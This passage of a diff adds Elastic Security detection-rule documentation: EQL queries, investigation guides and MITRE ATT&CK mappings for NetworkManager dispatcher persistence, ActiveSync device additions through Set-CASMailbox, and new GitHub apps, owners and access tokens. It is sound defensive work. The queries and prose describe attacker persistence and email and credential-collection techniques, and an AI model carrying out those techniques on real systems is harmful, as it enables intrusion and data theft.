https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Link +** ID: T1204.001 +** Reference URL: https://attack.mitre.org/techniques/T1204/001/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-networkmanager-dispatcher-script-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-networkmanager-dispatcher-script-creation.asciidoc new file mode 100644 index 0000000000..b1c109f80c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-networkmanager-dispatcher-script-creation.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-networkmanager-dispatcher-script-creation]] +=== NetworkManager Dispatcher Script Creation + +This rule detects the creation of a NetworkManager dispatcher script on a Linux system. NetworkManager dispatcher scripts are shell scripts that NetworkManager executes when network interfaces change state. Attackers can abuse NetworkManager dispatcher scripts to maintain persistence on a system by executing malicious code whenever a network event occurs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating NetworkManager Dispatcher Script Creation* + + +NetworkManager dispatcher scripts are executed on Linux systems when network interfaces change state, allowing for automated responses to network events. Adversaries can exploit this by creating scripts that execute malicious code, ensuring persistence and evasion. The detection rule identifies unauthorized script creation by monitoring file creation events in the dispatcher directory, excluding known legitimate processes and file types, thus highlighting potential abuse. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the specific script created in the /etc/NetworkManager/dispatcher.d/ directory, noting the file path and name. +- Examine the process that created the script by checking the process.executable field to determine if it is an unexpected or suspicious process not listed in the known legitimate processes. +- Investigate the contents of the newly created script to identify any potentially malicious code or commands that could indicate an attempt to maintain persistence or execute unauthorized actions. +- Check the system's recent network events and changes to see if the script has been triggered and executed, which could provide further context on its intended use. +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that could indicate a broader attack or compromise. + + +*False positive analysis* + + +- Package management tools like dpkg, rpm, and yum may trigger false positives when they create or modify dispatcher scripts during software installations or updates. To handle these, ensure that the process executables for these tools are included in the exclusion list within the detection rule. +- Automated system management tools such as Puppet, Chef, and Ansible can also cause false positives when they deploy or update configurations. Verify that the executables for these tools are part of the exclusion criteria to prevent unnecessary alerts. +- Temporary files created by text editors like Vim may be mistakenly flagged. These files typically have extensions like swp or swpx. Ensure these extensions are included in the exclusion list to avoid false positives. +- Custom scripts or applications that are known to create or modify dispatcher scripts for legitimate purposes should be reviewed. If deemed safe, add their process executables to the exclusion list to prevent them from being flagged. +- Consider monitoring the frequency and context of script creation events. If certain scripts are frequently created by known processes, evaluate the need to adjust the rule to reduce noise while maintaining security efficacy. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious scripts and limit the attacker's ability to maintain persistence. +- Review and remove any unauthorized scripts found in the /etc/NetworkManager/dispatcher.d/ directory to eliminate the immediate threat. +- Conduct a thorough examination of the system for additional signs of compromise, such as unexpected processes or network connections, to identify any further malicious activity. +- Restore any affected systems from a known good backup to ensure the removal of any persistent threats that may have been established. +- Implement stricter access controls and monitoring on the /etc/NetworkManager/dispatcher.d/ directory to prevent unauthorized script creation in the future. +- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign. +- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats, leveraging the MITRE ATT&CK framework for guidance on persistence and execution techniques. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.path like "/etc/NetworkManager/dispatcher.d/*" and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "./usr/bin/podman", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/bin/crio", "/usr/sbin/crond", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/platform-python", "/kaniko/kaniko-executor", + "/usr/local/bin/dockerd", "/usr/bin/podman", "/bin/install", "/proc/self/exe", "/usr/lib/systemd/systemd", + "/usr/sbin/sshd", "/usr/bin/gitlab-runner", "/opt/gitlab/embedded/bin/ruby", "/usr/sbin/gdm", "/usr/bin/install", + "/usr/local/manageengine/uems_agent/bin/dcregister", "/usr/local/bin/pacman", "./usr/bin/qemu-aarch64-static" + ) or + process.executable like~ ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + (process.name == "sed" and file.name : "sed*") or + ( + process.executable like ("/kaniko/executor", "/usr/libexec/platform-python*") and + file.path like "/etc/NetworkManager/dispatcher.d/11-dhclient*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-activesyncalloweddeviceid-added-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-activesyncalloweddeviceid-added-via-powershell.asciidoc new file mode 100644 index 0000000000..0a350224c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-activesyncalloweddeviceid-added-via-powershell.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-new-activesyncalloweddeviceid-added-via-powershell]] +=== New ActiveSyncAllowedDeviceID Added via PowerShell + +Identifies the use of the Exchange PowerShell cmdlet, Set-CASMailbox, to add a new ActiveSync allowed device. Adversaries may target user email to collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-casmailbox?view=exchange-ps + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New ActiveSyncAllowedDeviceID Added via PowerShell* + + +ActiveSync is a protocol enabling mobile devices to synchronize with Exchange mailboxes, crucial for accessing emails on-the-go. Adversaries may exploit the Exchange PowerShell cmdlet, Set-CASMailbox, to add unauthorized devices, gaining persistent access to sensitive email data. The detection rule identifies suspicious PowerShell activity by monitoring for specific command patterns, helping to flag potential unauthorized device additions and mitigate risks associated with account manipulation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (e.g., powershell.exe, pwsh.exe, powershell_ise.exe) and the command line arguments used, focusing on the presence of "Set-CASMailbox" and "ActiveSyncAllowedDeviceIDs". +- Examine the user account associated with the process execution to determine if the account has a history of legitimate administrative actions or if it might be compromised. +- Check the device ID added to the ActiveSyncAllowedDeviceIDs list to verify if it is recognized and authorized for use within the organization. +- Investigate the source IP address and host from which the PowerShell command was executed to assess if it aligns with expected administrative activity or if it originates from an unusual or suspicious location. +- Review recent email access logs for the user account to identify any unusual patterns or access from unfamiliar devices that could indicate unauthorized access. +- Correlate this event with other security alerts or logs from data sources like Microsoft Defender for Endpoint or Sysmon to identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger the rule when IT staff use PowerShell to configure or update ActiveSync settings for users. To manage this, create exceptions for known administrative accounts or specific maintenance windows. +- Automated scripts for device management that include the Set-CASMailbox cmdlet can cause false positives. Review and whitelist these scripts if they are verified as part of routine operations. +- Third-party applications that integrate with Exchange and modify ActiveSync settings might be flagged. Identify and exclude these applications if they are trusted and necessary for business operations. +- Regular audits of device additions by authorized personnel can help distinguish between legitimate and suspicious activities, allowing for more accurate exception handling. +- Consider the context of the activity, such as the time of day and the user account involved, to refine detection rules and reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access to the mailbox. +- Revoke the ActiveSync device access by removing the unauthorized device ID from the user's mailbox settings using the Exchange PowerShell cmdlet. +- Conduct a thorough review of the affected user's mailbox and account activity logs to identify any unauthorized access or data exfiltration attempts. +- Reset the password for the compromised user account and enforce multi-factor authentication (MFA) to enhance security. +- Notify the security team and relevant stakeholders about the incident for further investigation and potential escalation. +- Implement additional monitoring on the affected account and similar accounts for any unusual activity or further attempts to add unauthorized devices. +- Review and update the organization's security policies and procedures related to mobile device access and PowerShell usage to prevent recurrence. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and process.args : "Set-CASMailbox*ActiveSyncAllowedDeviceIDs*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-app-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-app-installed.asciidoc new file mode 100644 index 0000000000..65b621843e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-app-installed.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-20-new-github-app-installed]] +=== New GitHub App Installed + +This rule detects when a new GitHub App has been installed in your organization account. GitHub Apps extend GitHub's functionality both within and outside of GitHub. When an app is installed it is granted permissions to read or modify your repository and organization data. Only trusted apps should be installed and any newly installed apps should be investigated to verify their legitimacy. Unauthorized app installation could lower your organization's security posture and leave you exposed for future attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub App Installed* + + +GitHub Apps enhance functionality by integrating with repositories and organization data, requiring careful scrutiny upon installation. Adversaries may exploit these apps to gain unauthorized access or manipulate data. The detection rule monitors audit logs for new app installations, flagging potential threats by identifying unauthorized or suspicious integrations, thus safeguarding organizational security. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset "github.audit" and event.action "integration_installation.create" to identify the newly installed GitHub App. +- Verify the identity of the user or service account that performed the installation to ensure it aligns with expected behavior and authorized personnel. +- Check the permissions requested by the newly installed app to assess the level of access it has to your repositories and organization data. +- Cross-reference the app with a list of approved or trusted applications within your organization to determine if it is authorized. +- Investigate the app's developer or vendor to ensure they are reputable and have a history of secure and reliable applications. +- Communicate with the team or individual responsible for the installation to confirm the app's purpose and necessity within the organization. + + +*False positive analysis* + + +- Frequent installations of trusted internal apps may trigger alerts. To manage this, maintain a list of approved internal apps and create exceptions for these in the detection rule. +- Automated deployment tools that integrate with GitHub might cause false positives. Identify these tools and exclude their installation events from triggering alerts. +- Regular updates or re-installations of existing apps can be mistaken for new installations. Track app version updates separately and adjust the rule to differentiate between updates and new installations. +- Development or testing environments often install and remove apps frequently. Consider excluding these environments from the rule or setting up a separate monitoring process for them. + + +*Response and remediation* + + +- Immediately revoke the permissions of the newly installed GitHub App to prevent any unauthorized access or data manipulation. +- Notify the security team and relevant stakeholders about the unauthorized app installation for awareness and further investigation. +- Conduct a review of recent repository and organization changes to identify any unauthorized modifications or data access that may have occurred. +- If malicious activity is detected, initiate a rollback of affected repositories to a secure state prior to the app installation. +- Escalate the incident to higher-level security management if the app installation is linked to a broader security breach or if sensitive data has been compromised. +- Implement stricter access controls and approval processes for future GitHub App installations to prevent unauthorized installations. +- Update detection mechanisms to include additional indicators of compromise related to GitHub App installations, enhancing future threat detection capabilities. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where event.dataset == "github.audit" and event.action == "integration_installation.create" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-owner-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-owner-added.asciidoc new file mode 100644 index 0000000000..0c0d5b300c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-owner-added.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-20-new-github-owner-added]] +=== New GitHub Owner Added + +Detects when a new member is added to a GitHub organization as an owner. This role provides admin level privileges. Any new owner roles should be investigated to determine it's validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub Owner Added* + + +GitHub organizations allow collaborative management of repositories, where the 'owner' role grants full administrative control. Adversaries may exploit this by adding unauthorized owners, gaining unrestricted access to sensitive data and settings. The detection rule monitors audit logs for new admin-level additions, flagging potential unauthorized access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the GitHub audit logs to identify the specific user account that was added as an owner, focusing on the event.action "org.add_member" and github.permission "admin". +- Verify the identity and role of the newly added owner by cross-referencing with internal HR or user management systems to confirm if the addition was authorized. +- Check the activity history of the newly added owner account for any suspicious actions or changes made to repositories or settings since their addition. +- Contact the individual or team responsible for managing GitHub organization permissions to confirm if they were aware of and approved the new owner addition. +- Investigate any recent changes in the organization's membership or access policies that might explain the addition of a new owner. +- Assess the potential impact of the new owner's access by reviewing the repositories and sensitive data they now have administrative control over. + + +*False positive analysis* + + +- Legitimate organizational changes: New owners may be added during legitimate restructuring or team expansions. Regularly review and document organizational changes to differentiate between authorized and unauthorized additions. +- Automated processes: Some organizations use automated scripts or tools to manage GitHub permissions, which might trigger this rule. Identify and whitelist these processes to prevent unnecessary alerts. +- Temporary access requirements: Occasionally, temporary owner access might be granted for specific projects or tasks. Implement a process to track and review these temporary changes, ensuring they are reverted once the task is completed. +- Onboarding of new senior staff: When new senior staff members join, they might be added as owners. Establish a clear onboarding process that includes notifying the security team to avoid false positives. +- Cross-functional team collaborations: In some cases, cross-functional teams may require owner-level access for collaboration. Maintain a list of such collaborations and review them periodically to ensure they remain necessary and authorized. + + +*Response and remediation* + + +- Immediately revoke the admin privileges of the newly added GitHub owner to prevent further unauthorized access. +- Conduct a thorough review of recent changes and activities performed by the unauthorized owner to identify any potential data breaches or malicious actions. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Reset credentials and enforce multi-factor authentication for all existing GitHub organization owners to enhance security. +- Review and update access control policies to ensure that owner roles are granted only to verified and necessary personnel. +- Implement additional monitoring and alerting for any future changes to GitHub organization roles to detect similar threats promptly. +- If evidence of compromise is found, consider engaging with a digital forensics team to assess the full impact and scope of the breach. + +==== Rule query + + +[source, js] +---------------------------------- +iam where event.dataset == "github.audit" and event.action == "org.add_member" and github.permission == "admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-personal-access-token-pat-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-personal-access-token-pat-added.asciidoc new file mode 100644 index 0000000000..e29c1a13f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-new-github-personal-access-token-pat-added.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-20-new-github-personal-access-token-pat-added]] +=== New GitHub Personal Access Token (PAT) Added + +Detects when a new GitHub Personal Access Token (PAT) is created. Adversaries may create new PATs to maintain persistent access to a compromised account or to escalate privileges within an organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub Personal Access Token (PAT) Added* + + +This alert triggers when someone creates and authorizes a new GitHub personal access token, signaling a fresh long‑lived credential that outlasts sessions and enables broad API access. A common abuse path: after compromising a developer account, the adversary mints a PAT with repo and organization scopes and uses it from an external host to enumerate and clone private repositories via the API. + + +*Possible investigation steps* + + +- Retrieve token details (type fine‑grained vs classic, scopes, repository/org binding, and expiration) and verify they match the user’s role and least‑privilege expectations. +- Correlate the creation IP, geolocation, and user agent with the user’s recent login history and corporate network ranges to identify anomalous origin. +- Determine whether the token is SSO‑enforced and organization‑scoped; lack of SSO or broad classic scopes increases risk and warrants expedited review. +- Pivot to recent Git and API events by this actor since the token was created to see private repo enumeration/clones or org/admin actions indicating misuse. +- Check for concurrent account security changes (2FA status modifications, new SSH/GPG keys, email/password changes, or OAuth app grants) that suggest account takeover and escalate if present. + + +*False positive analysis* + + +- A developer performs planned token rotation or migrates from a classic to a fine‑grained PAT to comply with expiration and least‑privilege policies, generating a legitimate personal_access_token.access_granted creation event. +- Expected onboarding or 